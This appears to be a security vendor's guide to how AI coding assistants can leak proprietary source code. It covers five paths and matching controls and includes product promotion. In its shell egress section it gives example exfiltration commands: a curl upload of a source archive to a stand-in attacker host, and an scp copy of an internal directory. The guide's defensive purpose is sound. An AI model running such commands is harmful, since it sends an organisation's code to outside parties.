Source code leakage through AI coding assistants: the five paths and the control for each

Executive summary

• Separates source-code leakage from secrets leakage into five paths: provider terms, agent reads, cloud agents, MCP tools, and shell egress.
• Each path maps to a vendor control and a team control, plus what evidence you can show.
• Cursor readBoundary defaults to "system" (not "workspace"); set "workspace" deliberately.
• Egress guard covers Claude, Cursor, Antigravity, Codex, and Copilot; AD-015’s announced client list does not include Antigravity.

AI coding assistants send code to model providers on many requests—not only when a developer explicitly pastes a snippet. Leakage risk comes from five paths: provider retention and training settings, what the agent reads locally, cloud agents running in vendor environments, MCP tools forwarding context to third parties, and shell commands that upload files. Secrets are a related but distinct problem; see prevent API keys and .env from AI coding tools. This article is about proprietary source and who controls each exit.

For hook-level DLP definitions, what is AI DLP stays the category post; AI coding assistant security without MDM covers coverage detection.

Path 1: prompts and context sent to the provider

Every completion request can include open files, @-mentioned paths, and tool output the agent already read. What the vendor retains or uses for training depends on plan and settings—quote their pages for your tier, and re-check before renewals.

| Vendor | Starting point for your policy doc | | --- | --- | | Claude Code | Data usage | | Cursor | Data use & Privacy Mode | | Copilot | GitHub Copilot trust and data docs for Business/Enterprise |

Team control: approved plans only; enforce Privacy Mode or equivalent org-wide; block personal API keys on company repos via gateway routing where possible (enterprise LLM gateway).

Evidence: contract appendix listing approved subprocessors; less often a automatic export from the vendor.

Agencies answering “do you use AI on our code?” should cite plan names and dates from vendor pages, not marketing slogans. If Privacy Mode or zero-retention options exist for your tier, record who verified the toggle (screenshot + date) in your evidence folder—the same folder you use for SOC 2 evidence prep for AI tools.

Path 2: what the agent reads

Agents read whole files and directories—not only the tab visible in the IDE. A single @ reference or autonomous search can pull internal modules, fork-specific code, or client deliverables into context.

Vendor controls:

• Permission deny rules and ignore files (Claude, Copilot content exclusion—note symlink and remote filesystem limits GitHub documents).
• Cursor sandbox readBoundary: defaults to "system", not "workspace". Tighten to "workspace" in ~/.cursor/sandbox.json or <workspace>/.cursor/sandbox.json if your threat model requires it; team policies may layer on top and cannot be weakened locally.

Team controls:

• Hook folder exclusion and string replacement redaction (local redaction—not semantic).
• When the hook runs, recognized .env reads are sanitized or denied; hook crash or timeout can fail open unless you configure vendor failure modes—ReclaimLLM’s installer does not set Claude onFailure or Cursor failClosed.

Evidence: Project-scoped file lineage (Paid/Enterprise) and sensitive file access reviews in the admin console.

Ignore files (.cursorignore, .claudeignore) reduce noise; they are not a DLP boundary on their own—see why .cursorignore is not DLP if your team conflates the two. Deny rules plus hooks address agent Read paths; ignore files alone do not stop a determined @ reference in every client.

Monorepos amplify read risk: one agent session can traverse packages the developer never opened manually. File lineage answers “which paths entered context?” faster than guessing from chat scrollback.

Path 3: cloud and background agents

Some workflows run outside the laptop:

• GitHub Copilot coding agent runs in “a cloud sandbox, a GitHub Actions runner, or a remote custom environment” per GitHub’s coding agent docs—not your local disk.
• Cursor cloud agents execute in Cursor’s remote environment; Cursor documents that project .cursor/hooks.json runs, with team/enterprise hooks on Enterprise tiers.
• Codex cloud features follow OpenAI’s current product boundaries—verify agent approvals & security for sandbox modes on CLI vs cloud.

Team controls:

• Repo owners/admins can disable Copilot features per repository even when org policy allows them elsewhere.
• Branch protection can block Copilot from opening or updating pull requests unless bypass is explicitly configured.
• Treat cloud agents like CI: only on repos whose contracts permit third-party compute.

Evidence: GitHub audit and Copilot activity logs where your plan exposes them; ReclaimLLM captures local agent sessions—not vendor cloud VMs unless hooks run there.

Path 4: MCP tools and plugins

MCP servers and plugins can receive file excerpts, search results, or tool payloads and forward them to external APIs. GitHub states content exclusion is not guaranteed for third-party MCP servers.

Team controls: MCP allowlists, config secret hygiene, hook visibility into MCP tool calls—see MCP security for coding agents.

Evidence: Normalized MCP tool rows in session detail (Copilot MCP capture).

Path 5: shell egress

Agents run shell commands. Exfiltration looks like ordinary dev work until you read the URL:

curl -F "file=@./src.zip" https://attacker.example/upload
scp -r ./internal-api user@host:

Team controls: Pre-execution egress guard on Claude Code, Cursor, Antigravity, Codex, and Copilot—confirmed in ReclaimLLM’s shared hook handlers shipped Oct 28, 2026. Antigravity ships with this DLP and egress stack as product behavior.

Post-session, AD-015 detects anomalous outbound patterns for Claude Code, Cursor, Codex CLI, GitHub Copilot, Gemini CLI, Windsurf, and OpenCode. AD-015 does not list Antigravity—use egress guard for prevention on Antigravity and AD-015 where supported for detection. AD-015 flags a tool named exactly mcp_fetch among native web tools; it does not inspect MCP server process traffic.

Prompt-injection driven exfil remains a research topic—see PromptArmor’s Antigravity analysis and Antigravity and Codex secret leaks for paired controls.

Deep dive on firewall semantics: stopping AI agent network exfiltration.

The leakage matrix

| Path | Vendor control | Team control | Evidence | | --- | --- | --- | --- | | Provider prompts | Plan terms, Privacy Mode | Approved plans, gateway keys | Contracts, settings screenshots | | Agent reads | Deny rules, sandbox readBoundary | Hooks, folder exclusion | File lineage, sensitive reviews | | Cloud agents | Repo feature flags | Policy per repo/client | Vendor logs | | MCP | Server approval features | Allowlist, hook capture | Session tool calls | | Shell egress | Sandbox network (where exists) | Egress guard | AD-015 where supported |

Where your code goes when you use ReclaimLLM

ReclaimLLM captures what the agent saw and did in sessions you choose to upload—another copy of content that already reached the model or local transcript. Scope capture with retention policy, legal hold, and sharing rules in admin settings.

• Region: US or EU at org creation; region switch is permanent (data residency).
• Encryption: Paid/Enterprise encrypted session storage with org recovery key—not zero-knowledge.
• Deletion: Account deletion flows per deferred deletion policy.
• Compliance: SOC 2 Type II targeted early 2027—not certified today. No self-hosting offering.

Honest framing: capture helps audits and investigations; it does not reduce provider-side retention unless you also configure vendor settings.

Transcripts on disk are another code copy—after a sensitive read, assume JSONL under ~/.claude/projects/ or Cursor agent-transcripts may retain file contents even when the chat UI moved on. AI coding transcripts as a secret store covers purge and scan; this post covers policy for proprietary source.

Trust page: ReclaimLLM security for subprocessors and residency; confirm against your org’s DPA before customer send.

What to tell clients (template—not legal advice)

We use [approved tools list] on [repos/classes of repos].
We do not use personal/free tiers on client code.
Privacy Mode / Business terms: [on/off per vendor doc date].
Cloud agents: [enabled/disabled] for client repos.
Subprocessors include model providers listed in our DPA.
Evidence available on request: file lineage exports, session metadata, audit log CSV.
Questions: [security contact]

Have counsel review before customer signature—this box is operational language only.

Next step

See which files your agents read—start free. Combine with AI coding assistant DLP and egress firewall details.

FAQ

Do AI coding assistants train on my code?

It depends on the product, plan, and toggles such as Privacy Mode or enterprise terms. Read each vendor’s current data page for your subscription—do not rely on forum posts.

Can AI coding tools leak source code?

Yes—through model requests, autonomous reads, cloud agents, MCP forwarding, or shell uploads. Each path needs its own control; there is no single “secure mode.”

Is it safe to use Copilot, Cursor, or Claude Code on client code?

Many teams do safely with Business/Enterprise tiers, contractual authorization, deny rules, hooks, and evidence exports. Your client contract and industry rules determine whether you may—not the tool name alone.

How do I prove which files an AI agent read?

Use vendor logs where available and ReclaimLLM file lineage plus sensitive file reviews for hooked sessions. Export CSV from the admin console for audit folders.

Does ReclaimLLM store my source code?

ReclaimLLM stores captured session content—including file reads and tool output you configured for capture—in US or EU with retention you set. It is encrypted at rest on Paid/Enterprise with an org-held key, not zero-knowledge. Treat capture as an additional copy to govern.